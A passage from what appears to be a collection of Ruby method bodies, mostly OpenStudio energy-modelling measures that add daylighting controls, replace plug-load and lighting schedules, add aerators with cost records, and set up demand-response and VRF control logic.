space_zone = space_zone.get\n if space_zone.primaryDaylightingControl.empty? and space_zone.secondaryDaylightingControl.empty?\n spaces_selected_without_sensors << space\n elsif\n runner.registerWarning(\"Thermal zone '#{space_zone.name}' which includes space '#{space.name}' already had a daylighting sensor. No sensor was added to space '#{space.name}'.\")\n end\n else\n runner.registerWarning(\"Space '#{space.name}' is not associated with a thermal zone. It won't be part of the EnergyPlus simulation.\")\n end\n else\n runner.registerWarning(\"Space '#{space.name}' already has a daylighting sensor. No sensor was added.\")\n end\n end\n\n #loop through all spaces, and add a daylighting sensor with dimming to each\n space_count = 0\n spaces_selected_without_sensors.each do |space|\n space_count = space_count + 1\n area += space.floorArea\n\n # #eliminate spaces that don't have exterior natural lighting\n # has_ext_nat_light = false\n # space.surfaces.each do |surface|\n # next if not surface.outsideBoundaryCondition == \"Outdoors\"\n # surface.subSurfaces.each do |sub_surface|\n # next if sub_surface.subSurfaceType == \"Door\"\n # next if sub_surface.subSurfaceType == \"OverheadDoor\"\n # has_ext_nat_light = true\n # end\n # end\n # if has_ext_nat_light == false\n # runner.registerWarning(\"Space '#{space.name}' has no exterior natural lighting. No sensor will be added.\")\n # next\n # end\n\n #find floors\n floors = []\n space.surfaces.each do |surface|\n next if not surface.surfaceType == \"Floor\"\n floors << surface\n end\n\n #this method only works for flat (non-inclined) floors\n boundingBox = OpenStudio::BoundingBox.new\n floors.each do |floor|\n boundingBox.addPoints(floor.vertices)\n end\n xmin = boundingBox.minX.get\n ymin = boundingBox.minY.get\n zmin = boundingBox.minZ.get\n xmax = boundingBox.maxX.get\n ymax = boundingBox.maxY.get\n\n #create a new sensor and put at the center of the space\n sensor = OpenStudio::Model::DaylightingControl.new(model)\n sensor.setName(\"#{space.name} daylighting control\")\n x_pos = (xmin + xmax) / 2\n y_pos = (ymin + ymax) / 2\n z_pos = zmin + height_si #put it 1 meter above the floor\n new_point = OpenStudio::Point3d.new(x_pos, y_pos, z_pos)\n sensor.setPosition(new_point)\n sensor.setIlluminanceSetpoint(setpoint_si)\n sensor.setLightingControlType(control_type)\n sensor.setMinimumInputPowerFractionforContinuousDimmingControl(min_power_fraction)\n sensor.setMinimumLightOutputFractionforContinuousDimmingControl(min_light_fraction)\n sensor.setSpace(space)\n\n #push unique zones to array for use later in measure\n temp_zone = space.thermalZone.get\n if affected_zone_names.include?(temp_zone.name.to_s) == false\n affected_zones << temp_zone\n affected_zone_names << temp_zone.name.to_s\n end\n\n #push sensor object into hash with space name\n new_sensor_objects[space.name.to_s] = sensor\n\n #add floor area to the daylighting area tally\n sensor_area += space.floorArea\n\n #add to sensor count for reporting\n sensor_count += 1\n\n end #end spaces_selected_without_sensors.each do\n\n #loop through thermal Zones for spaces with daylighting controls added\n affected_zones.each do |zone|\n zone_spaces = zone.spaces\n zone_spaces_with_new_sensors = []\n zone_spaces.each do |zone_space|\n if not zone_space.daylightingControls.empty?\n zone_spaces_with_new_sensors << zone_space\n end\n end\n\n if not zone_spaces_with_new_sensors.empty?\n #need to identify the two largest spaces\n primary_area = 0\n secondary_area = 0\n primary_space = nil\n secondary_space = nil\n three_or_more_sensors = false\n\n # dfg temp - need to add another if statement so only get spaces with sensors\n zone_spaces_with_new_sensors.each do |zone_space|\n zone_space_area = zone_space.floorArea\n if zone_space_area > primary_area\n primary_area = zone_space_area\n primary_space = zone_space\n elsif zone_space_area > secondary_area\n secondary_area = zone_space_area\n secondary_space = zone_space\n else\n #setup flag to warn user that more than 2 sensors can't be added to a space\n three_or_more_sensors = true\n end\n\n end\n\n if primary_space\n #setup primary sensor\n sensor_primary = new_sensor_objects[primary_space.name.to_s]\n zone.setPrimaryDaylightingControl(sensor_primary)\n zone.setFractionofZoneControlledbyPrimaryDaylightingControl(primary_area/(primary_area + secondary_area))\n end\n\n if secondary_space\n #setup secondary sensor\n sensor_secondary = new_sensor_objects[secondary_space.name.to_s]\n zone.setSecondaryDaylightingControl(sensor_secondary)\n zone.setFractionofZoneControlledbySecondaryDaylightingControl(secondary_area/(primary_area + secondary_area))\n end\n\n #warn that additional sensors were not used\n if three_or_more_sensors == true\n runner.registerWarning(\"Thermal zone '#{zone.name}' had more than two spaces with sensors. Only two sensors were associated with the thermal zone.\")\n end\n\n end #end if not zone_spaces.empty?\n\n end #end affected_zones.each do\n\n #setup OpenStudio units that we will need\n unit_area_ip = OpenStudio::createUnit(\"ft^2\").get\n unit_area_si = OpenStudio::createUnit(\"m^2\").get\n\n #define starting units\n area_si = OpenStudio::Quantity.new(sensor_area, unit_area_si)\n\n #unit conversion from IP units to SI units\n area_ip = OpenStudio::convert(area_si, unit_area_ip).get\n\n #reporting final condition of model\n runner.registerFinalCondition(\"Added daylighting controls to #{sensor_count} spaces, covering #{area_ip}.\")\n\n return true\n\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n #use the built-in error checking\n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n #assign the user inputs to variables\n space_type_object = runner.getOptionalWorkspaceObjectChoiceValue(\"space_type\",user_arguments,model)\n plug_def_object = runner.getOptionalWorkspaceObjectChoiceValue(\"plug_def\",user_arguments,model)\n new_plug_sch_object = runner.getOptionalWorkspaceObjectChoiceValue(\"new_plug_sch\",user_arguments,model)\n material_and_installation_cost = runner.getDoubleArgumentValue(\"material_and_installation_cost\",user_arguments)\n expected_life = runner.getIntegerArgumentValue(\"expected_life\",user_arguments)\n \n #check the plug_def argument to make sure it still is in the model\n plug_def = nil\n if plug_def_object.empty?\n handle = runner.getStringArgumentValue(\"plug_def\",user_arguments)\n if handle.empty?\n runner.registerError(\"No plug definition was chosen.\")\n else\n runner.registerError(\"The selected plug definition with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n end\n return false\n else\n if plug_def_object.get.to_ElectricEquipmentDefinition.is_initialized\n plug_def = plug_def_object.get.to_ElectricEquipmentDefinition.get\n end\n end\n\n #check the new_plug_sch argument to make sure it still is in the model\n new_plug_sch = nil\n if new_plug_sch_object.empty?\n handle = runner.getStringArgumentValue(\"new_plug_sch\",user_arguments)\n if handle.empty?\n runner.registerError(\"No new plug load schedule was chosen.\")\n else\n runner.registerError(\"The selected new plug load schedule with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n end\n return false\n else\n if new_plug_sch_object.get.to_ScheduleRuleset.is_initialized\n new_plug_sch = new_plug_sch_object.get.to_ScheduleRuleset.get\n end\n end \n \n #check the space_type for reasonableness and see if measure should run on space type or on the entire building\n apply_to_building = false\n space_type = nil\n if space_type_object.empty?\n handle = runner.getStringArgumentValue(\"space_type\",user_arguments)\n if handle.empty?\n runner.registerError(\"No space type was chosen.\")\n else\n runner.registerError(\"The selected space type with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n end\n return false\n else\n if not space_type_object.get.to_SpaceType.empty?\n space_type = space_type_object.get.to_SpaceType.get\n elsif not space_type_object.get.to_Building.empty?\n apply_to_building = true\n else\n runner.registerError(\"Script Error - argument not showing up as space type or building.\")\n return false\n end\n end\n \n #replace plug schedule for all fixtures of a given type with the new schedule\n number_of_fixtures_affected = 0\n if apply_to_building #apply to the whole building\n model.getElectricEquipments.each do |plug_load|\n if plug_load.electricEquipmentDefinition == plug_def\n plug_load.setSchedule(new_plug_sch)\n number_of_fixtures_affected += plug_load.multiplier\n end\n end\n else #apply to the a specific space type\n #do the plug loads assigned to the space type itself\n space_type.electricEquipment.each do |plug_load|\n if plug_load.electricEquipmentDefinition == plug_def\n plug_load.setSchedule(new_plug_sch)\n number_of_fixtures_affected += plug_load.multiplier\n end\n end\n #do the plug loads in each space of the selected space type\n space_type.spaces.each do |space|\n space.electricEquipment.each do |plug_load|\n if plug_load.electricEquipmentDefinition == plug_def\n plug_load.setSchedule(new_plug_sch)\n number_of_fixtures_affected += plug_load.multiplier\n end\n end \n end\n end\n \n # add costs\n if material_and_installation_cost != 0\n cost = OpenStudio::Model::LifeCycleCost.createLifeCycleCost(\"Added controls to #{number_of_fixtures_affected.round} plug loads\", model.getBuilding, material_and_installation_cost, \"CostPerEach\", \"Construction\", expected_life, 0)\n if cost.empty?\n runner.registerError(\"Failed to add costs.\")\n end\n end\n \n #report initial condition\n runner.registerInitialCondition(\"The building has a number of #{plug_def.name.get}s, which could be made to save energy if advanced power strips were used to turn them off when not in use.\") \n \n #report final condition\n if apply_to_building\n runner.registerFinalCondition(\"Added advanced power strip controls to #{number_of_fixtures_affected.round} existing #{plug_def.name.get}s throughout the building. The total cost to install the advanced power strips is $#{material_and_installation_cost}.\")\n else\n runner.registerFinalCondition(\"Added advanced power strip controls to #{number_of_fixtures_affected.round} existing #{plug_def.name.get}s in #{space_type.name} spaces throughout the building. The total cost to install the advanced power strips is $#{material_and_installation_cost}.\")\n end\n \n return true\n \n end",
"def run_type_params\n params.require(:run_type).permit(:name, :heartrate)\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n \n #use the built-in error checking \n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n #assume the aerator will last the full analysis\n expected_life = 25\n \n #assign the user inputs to variables\n water_fixture_def_object = runner.getOptionalWorkspaceObjectChoiceValue(\"water_fixture_def\",user_arguments,model)\n pct_flow_reduction = runner.getDoubleArgumentValue(\"pct_flow_reduction\",user_arguments)\n material_and_installation_cost_per_fixture = runner.getDoubleArgumentValue(\"material_and_installation_cost_per_fixture\",user_arguments)\n \n #check the water_fixture_def argument to make sure it still is in the model\n water_fixture_def = nil\n if water_fixture_def_object.empty?\n handle = runner.getStringArgumentValue(\"water_fixture_def\",user_arguments)\n if handle.empty?\n runner.registerError(\"No water fixture definition was chosen.\")\n else\n runner.registerError(\"The selected water fixture definition with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n end\n return false\n else\n if water_fixture_def_object.get.to_WaterUseEquipmentDefinition.is_initialized\n water_fixture_def = water_fixture_def_object.get.to_WaterUseEquipmentDefinition.get\n runner.registerInfo(\"Modifying the flow rate of #{water_fixture_def.name.get}.\")\n end\n end\n \n #count the number of these fixtures in the building\n num_fixtures_modified = water_fixture_def.instances.size\n original_name = water_fixture_def.name.get\n original_flow_rate_m3_per_sec = water_fixture_def.peakFlowRate\n original_flow_rate_gpm = OpenStudio::convert(original_flow_rate_m3_per_sec, \"m^3/s\",\"gal/min\").get\n runner.registerInitialCondition(\"This building has (#{num_fixtures_modified}) #{original_name}s. These fixtures have a flow rate of #{original_flow_rate_gpm}gpm, which is much higher than necessary for washing.\")\n\n #check to make sure the measure is applicable\n if num_fixtures_modified == 0\n runner.registerAsNotApplicable(\"This measure is not applicable. No #{original_name}s could be found in the building.\")\n return true\n end\n \n #find the fixture and reduce it's flow rate per the user input\n runner.registerInfo(\"pct_flow_reduction = #{pct_flow_reduction}\")\n pct_flow_reduction_multiplier = (100 - pct_flow_reduction)/100\n new_flow_rate_m3_per_sec = original_flow_rate_m3_per_sec * pct_flow_reduction_multiplier\n runner.registerInfo(\"original flow rate = #{original_flow_rate_m3_per_sec}m^3/s, multiplier = #{pct_flow_reduction_multiplier}, new flow rate = #{new_flow_rate_m3_per_sec}m^3/s\")\n water_fixture_def.setPeakFlowRate(new_flow_rate_m3_per_sec)\n new_flow_rate_gpm = OpenStudio::convert(new_flow_rate_m3_per_sec, \"m^3/s\",\"gal/min\").get\n water_fixture_def.setName(\"#{original_name} with Aerator\")\n runner.registerInfo(\"Reduced the peak flow rate of #{original_name} by #{pct_flow_reduction}%, from #{original_flow_rate_gpm}gpm to #{new_flow_rate_gpm}gpm.\")\n #add the cost per aerator * number of aerators to the building\n if material_and_installation_cost_per_fixture != 0\n cost = OpenStudio::Model::LifeCycleCost.createLifeCycleCost(\"Add Aerators to #{num_fixtures_modified} #{original_name}\", model.getBuilding, material_and_installation_cost_per_fixture * num_fixtures_modified, \"CostPerEach\", \"Construction\", expected_life, 0)\n if cost.empty?\n runner.registerError(\"Failed to add costs.\")\n end\n end \n \n #report the final condition\n runner.registerFinalCondition(\"Added aerators to (#{num_fixtures_modified}) #{original_name}s in the building, reducing their peak flow rate by #{pct_flow_reduction}%, from #{original_flow_rate_gpm}gpm down to #{new_flow_rate_gpm}gpm. This was accomplished at a cost of $#{material_and_installation_cost_per_fixture} per fixture, for a total cost of $#{(material_and_installation_cost_per_fixture * num_fixtures_modified).round}.\")\n \n return true\n \n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n #use the built-in error checking\n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n #assign the user inputs to variables\n lights_def = runner.getOptionalWorkspaceObjectChoiceValue(\"lights_def\",user_arguments,model)\n fraction_value = runner.getDoubleArgumentValue(\"fraction_value\",user_arguments)\n apply_weekday = runner.getBoolArgumentValue(\"apply_weekday\",user_arguments)\n start_weekday = runner.getDoubleArgumentValue(\"start_weekday\",user_arguments)\n end_weekday = runner.getDoubleArgumentValue(\"end_weekday\",user_arguments)\n apply_saturday = runner.getBoolArgumentValue(\"apply_saturday\",user_arguments)\n start_saturday = runner.getDoubleArgumentValue(\"start_saturday\",user_arguments)\n end_saturday = runner.getDoubleArgumentValue(\"end_saturday\",user_arguments)\n apply_sunday = runner.getBoolArgumentValue(\"apply_sunday\",user_arguments)\n start_sunday = runner.getDoubleArgumentValue(\"start_sunday\",user_arguments)\n end_sunday = runner.getDoubleArgumentValue(\"end_sunday\",user_arguments)\n material_cost = runner.getDoubleArgumentValue(\"material_cost\",user_arguments)\n years_until_costs_start = runner.getIntegerArgumentValue(\"years_until_costs_start\",user_arguments)\n expected_life = runner.getIntegerArgumentValue(\"expected_life\",user_arguments)\n om_cost = runner.getDoubleArgumentValue(\"om_cost\",user_arguments)\n om_frequency = runner.getIntegerArgumentValue(\"om_frequency\",user_arguments)\n\n #check the lights_def for reasonableness\n if lights_def.empty?\n test = runner.getStringArgumentValue(\"lights_def\",user_arguments)\n if test.empty?\n runner.registerError(\"No Lighting Definition was chosen.\")\n else\n runner.registerError(\"A Lighting Definition with handle '#{lights_def}' was not found in the model. It may have been removed by another measure.\")\n end\n return false\n else\n if not lights_def.get.to_LightsDefinition.empty?\n lights_def = lights_def.get.to_LightsDefinition.get\n else\n runner.registerError(\"Script Error - argument not showing up as lights definition.\")\n return false\n end\n end\n\n #check the fraction for reasonableness\n if not 0 <= fraction_value and fraction_value <= 1\n runner.registerError(\"Fractional value needs to be between or equal to 0 and 1.\")\n return false\n end\n\n #check start_weekday for reasonableness and round to 15 minutes\n if not 0 <= start_weekday and start_weekday <= 24\n runner.registerError(\"Time in hours needs to be between or equal to 0 and 24\")\n return false\n else\n rounded_start_weekday = ((start_weekday*4).round)/4.0\n if not start_weekday == rounded_start_weekday\n runner.registerInfo(\"Weekday start time rounded to nearest 15 minutes: #{rounded_start_weekday}\")\n end\n wk_after_hour = rounded_start_weekday.truncate\n wk_after_min = (rounded_start_weekday - wk_after_hour)*60\n wk_after_min = wk_after_min.to_i\n end\n\n #check end_weekday for reasonableness and round to 15 minutes\n if not 0 <= end_weekday and end_weekday <= 24\n runner.registerError(\"Time in hours needs to be between or equal to 0 and 24.\")\n return false\n elsif end_weekday > start_weekday\n runner.registerError(\"Please enter an end time earlier in the day than start time.\")\n return false\n else\n rounded_end_weekday = ((end_weekday*4).round)/4.0\n if not end_weekday == rounded_end_weekday\n runner.registerInfo(\"Weekday end time rounded to nearest 15 minutes: #{rounded_end_weekday}\")\n end\n wk_before_hour = rounded_end_weekday.truncate\n wk_before_min = (rounded_end_weekday - wk_before_hour)*60\n wk_before_min = wk_before_min.to_i\n end\n\n #check start_saturday for reasonableness and round to 15 minutes\n if not 0 <= start_saturday and start_saturday <= 24\n runner.registerError(\"Time in hours needs to be between or equal to 0 and 24.\")\n return false\n else\n rounded_start_saturday = ((start_saturday*4).round)/4.0\n if not start_saturday == rounded_start_saturday\n runner.registerInfo(\"Saturday start time rounded to nearest 15 minutes: #{rounded_start_saturday}\")\n end\n sat_after_hour = rounded_start_saturday.truncate\n sat_after_min = (rounded_start_saturday - sat_after_hour)*60\n sat_after_min = sat_after_min.to_i\n end\n\n #check end_saturday for reasonableness and round to 15 minutes\n if not 0 <= end_saturday and end_saturday <= 24\n runner.registerError(\"Time in hours needs to be between or equal to 0 and 24.\")\n return false\n elsif end_saturday > start_saturday\n runner.registerError(\"Please enter an end time earlier in the day than start time.\")\n return false\n else\n rounded_end_saturday = ((end_saturday*4).round)/4.0\n if not end_saturday == rounded_end_saturday\n runner.registerInfo(\"Saturday end time rounded to nearest 15 minutes: #{rounded_end_saturday}\")\n end\n sat_before_hour = rounded_end_saturday.truncate\n sat_before_min = (rounded_end_saturday - sat_before_hour)*60\n sat_before_min = sat_before_min.to_i\n end\n\n #check start_sunday for reasonableness and round to 15 minutes\n if not 0 <= start_sunday and start_sunday <= 24\n runner.registerError(\"Time in hours needs to be between or equal to 0 and 24.\")\n return false\n else\n rounded_start_sunday = ((start_sunday*4).round)/4.0\n if not start_sunday == rounded_start_sunday\n runner.registerInfo(\"Sunday start time rounded to nearest 15 minutes: #{rounded_start_sunday}\")\n end\n sun_after_hour = rounded_start_sunday.truncate\n sun_after_min = (rounded_start_sunday - sun_after_hour)*60\n sun_after_min = sun_after_min.to_i\n end\n\n #check end_sunday for reasonableness and round to 15 minutes\n if not 0 <= end_sunday and end_sunday <= 24\n runner.registerError(\"Time in hours needs to be between or equal to 0 and 24.\")\n return false\n elsif end_sunday > start_sunday\n runner.registerError(\"Please enter an end time earlier in the day than start time.\")\n return false\n else\n rounded_end_sunday = ((end_sunday*4).round)/4.0\n if not end_sunday == rounded_end_sunday\n runner.registerInfo(\"Sunday end time rounded to nearest 15 minutes: #{rounded_end_sunday}\")\n end\n sun_before_hour = rounded_end_sunday.truncate\n sun_before_min = (rounded_end_sunday - sun_before_hour)*60\n sun_before_min = sun_before_min.to_i\n end\n\n #set flags to use later\n costs_requested = false\n\n #check costs for reasonableness\n if material_cost.abs + om_cost.abs == 0\n runner.registerInfo(\"No costs were requested for #{lights_def.name}.\")\n else\n costs_requested = true\n end\n\n #check lifecycle arguments for reasonableness\n if not years_until_costs_start >= 0 and not years_until_costs_start <= expected_life\n runner.registerError(\"Years until costs start should be a non-negative integer less than Expected Life.\")\n end\n if not expected_life >= 1 and not expected_life <= 100\n runner.registerError(\"Choose an integer greater than 0 and less than or equal to 100 for Expected Life.\")\n end\n if not om_frequency >= 1\n runner.registerError(\"Choose an integer greater than 0 for O & M Frequency.\")\n end\n\n #short def to make numbers pretty (converts 4125001.25641 to 4,125,001.26 or 4,125,001). The definition be called through this measure\n def neat_numbers(number, roundto = 2) #round to 0 or 2)\n if roundto == 2\n number = sprintf \"%.2f\", number\n else\n number = number.round\n end\n #regex to add commas\n number.to_s.reverse.gsub(%r{([0-9]{3}(?=([0-9])))}, \"\\\\1,\").reverse\n end #end def neat_numbers\n\n #breakup fractional values\n wk_before_value = fraction_value\n wk_after_value = fraction_value\n sat_before_value = fraction_value\n sat_after_value = fraction_value\n sun_before_value = fraction_value\n sun_after_value = fraction_value\n\n lights_schs = {}\n lights_sch_names = []\n reduced_lights_schs = {}\n\n #get instances of definition\n lighting_instances = model.getLightss\n lighting_instances_using_def = []\n\n #get schedules for lights instances that user the picked\n lighting_instances.each do |light|\n next unless light.lightsDefinition == lights_def\n lighting_instances_using_def << light\n if not light.schedule.empty?\n lights_sch = light.schedule.get\n lights_schs[lights_sch.name.to_s] = lights_sch\n lights_sch_names << lights_sch.name.to_s\n end\n end\n\n #reporting initial condition of model\n runner.registerInitialCondition(\"The initial model had #{lighting_instances_using_def.size} instances of '#{lights_def.name}' load definition.\")\n\n #loop through the unique list of lighting schedules, cloning\n #and reducing schedule fraction before and after the specified times\n lights_sch_names.uniq.each do |lights_sch_name|\n lights_sch = lights_schs[lights_sch_name]\n if not lights_sch.to_ScheduleRuleset.empty?\n new_lights_sch = lights_sch.clone(model).to_ScheduleRuleset.get\n new_lights_sch.setName(\"#{lights_sch_name} NightLightingControl\")\n reduced_lights_schs[lights_sch_name] = new_lights_sch\n new_lights_sch = new_lights_sch.to_ScheduleRuleset.get\n\n #method to reduce the values in a day schedule to a give number before and after a given time\n def reduce_schedule(day_sch, before_hour, before_min, before_value, after_hour, after_min, after_value)\n before_time = OpenStudio::Time.new(0, before_hour, before_min, 0)\n after_time = OpenStudio::Time.new(0, after_hour, after_min, 0)\n day_end_time = OpenStudio::Time.new(0, 24, 0, 0)\n \n # Special situation for when start time and end time are equal,\n # meaning that a 24hr reduction is desired\n if before_time == after_time\n day_sch.clearValues\n day_sch.addValue(day_end_time, after_value)\n return\n end\n\n original_value_at_after_time = day_sch.getValue(after_time)\n day_sch.addValue(before_time,before_value)\n day_sch.addValue(after_time, original_value_at_after_time)\n times = day_sch.times\n values = day_sch.values\n day_sch.clearValues\n\n new_times = []\n new_values = []\n for i in 0..(values.length - 1)\n if times[i] >= before_time and times[i] <= after_time\n new_times << times[i]\n new_values << values[i]\n end\n end\n\n #add the value for the time period from after time to end of the day\n new_times << day_end_time\n new_values << after_value\n\n for i in 0..(new_values.length - 1)\n day_sch.addValue(new_times[i], new_values[i])\n end\n end #end reduce schedule\n\n # Reduce default day schedules\n if new_lights_sch.scheduleRules.size == 0\n runner.registerWarning(\"Schedule '#{new_lights_sch.name}' applies to all days. It has been treated as a Weekday schedule.\")\n end\n reduce_schedule(new_lights_sch.defaultDaySchedule, wk_before_hour, wk_before_min, wk_before_value, wk_after_hour, wk_after_min, wk_after_value)\n \n #reduce weekdays\n new_lights_sch.scheduleRules.each do |sch_rule|\n if apply_weekday\n if sch_rule.applyMonday or sch_rule.applyTuesday or sch_rule.applyWednesday or sch_rule.applyThursday or sch_rule.applyFriday\n reduce_schedule(sch_rule.daySchedule, wk_before_hour, wk_before_min, wk_before_value, wk_after_hour, wk_after_min, wk_after_value)\n end\n end\n end\n\n #reduce saturdays\n new_lights_sch.scheduleRules.each do |sch_rule|\n if apply_saturday and sch_rule.applySaturday\n if sch_rule.applyMonday or sch_rule.applyTuesday or sch_rule.applyWednesday or sch_rule.applyThursday or sch_rule.applyFriday\n runner.registerWarning(\"Rule '#{sch_rule.name}' for schedule '#{new_lights_sch.name}' applies to both Saturdays and Weekdays. It has been treated as a Weekday schedule.\")\n else\n reduce_schedule(sch_rule.daySchedule, sat_before_hour, sat_before_min, sat_before_value, sat_after_hour, sat_after_min, sat_after_value)\n end\n end\n end\n\n #reduce sundays\n new_lights_sch.scheduleRules.each do |sch_rule|\n if apply_sunday and sch_rule.applySunday\n if sch_rule.applyMonday or sch_rule.applyTuesday or sch_rule.applyWednesday or sch_rule.applyThursday or sch_rule.applyFriday\n runner.registerWarning(\"Rule '#{sch_rule.name}' for schedule '#{new_lights_sch.name}' applies to both Sundays and Weekdays. It has been treated as a Weekday schedule.\")\n elsif sch_rule.applySaturday\n runner.registerWarning(\"Rule '#{sch_rule.name}' for schedule '#{new_lights_sch.name}' applies to both Saturdays and Sundays. It has been treated as a Saturday schedule.\")\n else\n reduce_schedule(sch_rule.daySchedule, sun_before_hour, sun_before_min, sun_before_value, sun_after_hour, sun_after_min, sun_after_value)\n end\n end\n end\n\n else\n runner.registerWarning(\"Schedule '#{lights_sch_name}' isn't a ScheduleRuleset object and won't be altered by this measure.\")\n end #end of if not new_lights_sch.to_ScheduleRuleset.empty?\n end #end of lights_sch_names.uniq.each do\n\n #loop through all lighting instances, replacing old lights schedules with the reduced schedules\n lighting_instances_using_def.each do |light|\n if light.schedule.empty?\n runner.registerWarning(\"There was no schedule assigned for the light object named '#{light.name}. No schedule was added.'\")\n else\n old_lights_sch_name = light.schedule.get.name.to_s\n if reduced_lights_schs[old_lights_sch_name]\n light.setSchedule(reduced_lights_schs[old_lights_sch_name])\n runner.registerInfo(\"Schedule '#{reduced_lights_schs[old_lights_sch_name].name}' was edited for the lights object named '#{light.name}'\")\n end\n end\n end\n\n\n #na if no schedules to change\n if lights_sch_names.uniq.size == 0\n runner.registerNotAsApplicable(\"There are no schedules to change.\")\n end\n\n measure_cost = 0\n\n #add lifeCycleCost objects if there is a non-zero value in one of the cost arguments\n building = model.getBuilding\n if costs_requested == true\n quantity = lights_def.quantity\n #adding new cost items\n lcc_mat = OpenStudio::Model::LifeCycleCost.createLifeCycleCost(\"LCC_Mat - #{lights_def.name} night reduction\", building, material_cost * quantity, \"CostPerEach\", \"Construction\", expected_life, years_until_costs_start)\n lcc_om = OpenStudio::Model::LifeCycleCost.createLifeCycleCost(\"LCC_OM - #{lights_def.name} night reduction\", building, om_cost * quantity, \"CostPerEach\", \"Maintenance\", om_frequency, 0)\n measure_cost = material_cost * quantity\n end #end of costs_requested == true\n\n\n #reporting final condition of model\n runner.registerFinalCondition(\"#{lights_sch_names.uniq.size} schedule(s) were edited. The cost for the measure is #{neat_numbers(measure_cost,0)}.\")\n\n return true\n\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # assign the user inputs to variables\n buildingType = runner.getStringArgumentValue('buildingType', user_arguments)\n vintage = runner.getStringArgumentValue('vintage', user_arguments)\n drType = runner.getStringArgumentValue('drType', user_arguments)\n drPeriod = runner.getStringArgumentValue('drPeriod', user_arguments)\n schedule_old = runner.getOptionalWorkspaceObjectChoiceValue('schedule_old', user_arguments, model)\n usepredefined = runner.getBoolArgumentValue('usepredefined', user_arguments)\n # schedule_new = runner.getOptionalWorkspaceObjectChoiceValue('schedule_new', user_arguments, model)\n\n bl_m = {\"Large Office Detailed\" => \"largeofficedetailed\",\n \"Medium Office Detailed\" => \"mediumofficedetailed\",\n \"Retail Standalone\" => \"retail\",\n \"Big Box Retail\" => \"bbr\"}\n\n vt_m = {\"Post-1980\" => \"p1980\", \"2010\" => \"2010\"}\n dr_m = {\"Lighting\" => \"lighting\", \"Plug loads\" => \"plugloads\",\n \"Summer GTA\" => \"summer_gta\", \"Pre-cool and Summer GTA\" => \"summer_precool\",\n \"Winter GTA\" => \"winter_gta\", \"Pre-heat and Winter GTA\" => \"winter_preheat\"}\n dp_m = {\"All year\" => \"allyear\", \"Summer\" => \"summer\", \"Winter\" => \"winter\"}\n\n root_path = File.dirname(__FILE__) + '/resources/'\n\n #### generate a new schedule ####\n runner.registerInfo(\"Generate the new schedule\")\n\n load root_path + 'ScheduleGenerator.rb'\n schedGen = ScheduleGenerator.new(bl_m[buildingType], vt_m[vintage], dr_m[drType], dp_m[drPeriod], usepredefined)\n runner.registerInfo(\"The schedule model is created.\")\n \n #### add the schedule objects to the model ####\n runner.registerInfo(\"The the schedule objects to the original model\")\n model2 = OpenStudio::Model::Model.load(OpenStudio::Path.new(root_path + \"out_compact_schedule.osm\")).get\n runner.registerInfo(\"The model has #{model2.modelObjects.size} objects\")\n if model2.modelObjects.size > 0\n model2.modelObjects.each {|o| o.clone(model)}\n runner.registerInfo(\"There are '#{model2.modelObjects.size}' objects in the model\")\n end\n\n schedule_new_name = model2.getSchedules[0].name.get\n runner.registerInfo(\"The schedule model '#{schedule_new_name}' is added to the original model.\")\n\n #### replace the old schedule with a new one ####\n runner.registerInfo(\"The the original schedule with the new schedule\")\n if schedule_old.empty?\n handle = runner.getStringArgumentValue('schedule_old', user_arguments)\n if handle == OpenStudio.toUUID('').to_s\n # no change\n schedule_old = nil\n else\n runner.registerError(\"The selected schedule with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n return false\n end\n else\n if !schedule_old.get.to_Schedule.empty?\n schedule_old = schedule_old.get.to_Schedule.get\n else\n runner.registerError('Script Error - argument not showing up as schedule.')\n return false\n end\n end\n\n ### retrieve the new schedule after being imported into the model\n schedule_new = model.getScheduleByName(schedule_new_name).get\n\n schedule_old.sources.each do |source|\n source_index = source.getSourceIndices(schedule_old.handle)\n source_index.each do |field|\n source.setPointer(field, schedule_new.handle)\n end\n end\n schedule_old_name = schedule_old.name.get\n schedule_old.remove\n \n runner.registerInfo(\"The original schedule '#{schedule_old_name}' with the new schedule '#{schedule_new.name.get}'\")\n schedule_new.setName(schedule_old_name)\n\n\n runner.registerInitialCondition(\"The building with original schedule '#{schedule_old_name}'.\")\n runner.registerFinalCondition(\"The building with updated schedule '#{schedule_new.name.get}'.\")\n\n return true\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # assign the user inputs to variables\n verbose_info_statements = runner.getBoolArgumentValue(\"verbose_info_statements\",user_arguments)\n outdoor_vrf_units_to_modify = runner.getOptionalWorkspaceObjectChoiceValue('outdoor_vrf_units_to_modify', user_arguments, model) # model is passed in because of argument type\n indoor_vrf_unit_fixed_plr_value = runner.getDoubleArgumentValue(\"indoor_vrf_unit_fixed_plr_value\",user_arguments)\n internal_variable_availability_dictionary_reporting = runner.getStringArgumentValue('internal_variable_availability_dictionary_reporting', user_arguments)\n ems_runtime_language_debug_output_level = runner.getStringArgumentValue('ems_runtime_language_debug_output_level', user_arguments)\n actuator_availability_dictionary_reporting = runner.getStringArgumentValue('actuator_availability_dictionary_reporting', user_arguments)\n\n runner.registerInitialCondition(\"Measure began with #{model.getEnergyManagementSystemSensors.count} EMS sensors, #{model.getEnergyManagementSystemActuators.count} EMS Actuators, #{model.getEnergyManagementSystemPrograms.count} EMS Programs, #{model.getEnergyManagementSystemSubroutines.count} EMS Subroutines, #{model.getEnergyManagementSystemProgramCallingManagers.count} EMS Program Calling Manager objects\")\n\n # check for reasonableness of plr value\n if indoor_vrf_unit_fixed_plr_value <= 0.0\n runner.registerError(\"The value of #{indoor_vrf_unit_fixed_plr_value} entered for the PLR value must be greater than zero.\")\n end\n\n if indoor_vrf_unit_fixed_plr_value > 1.0\n 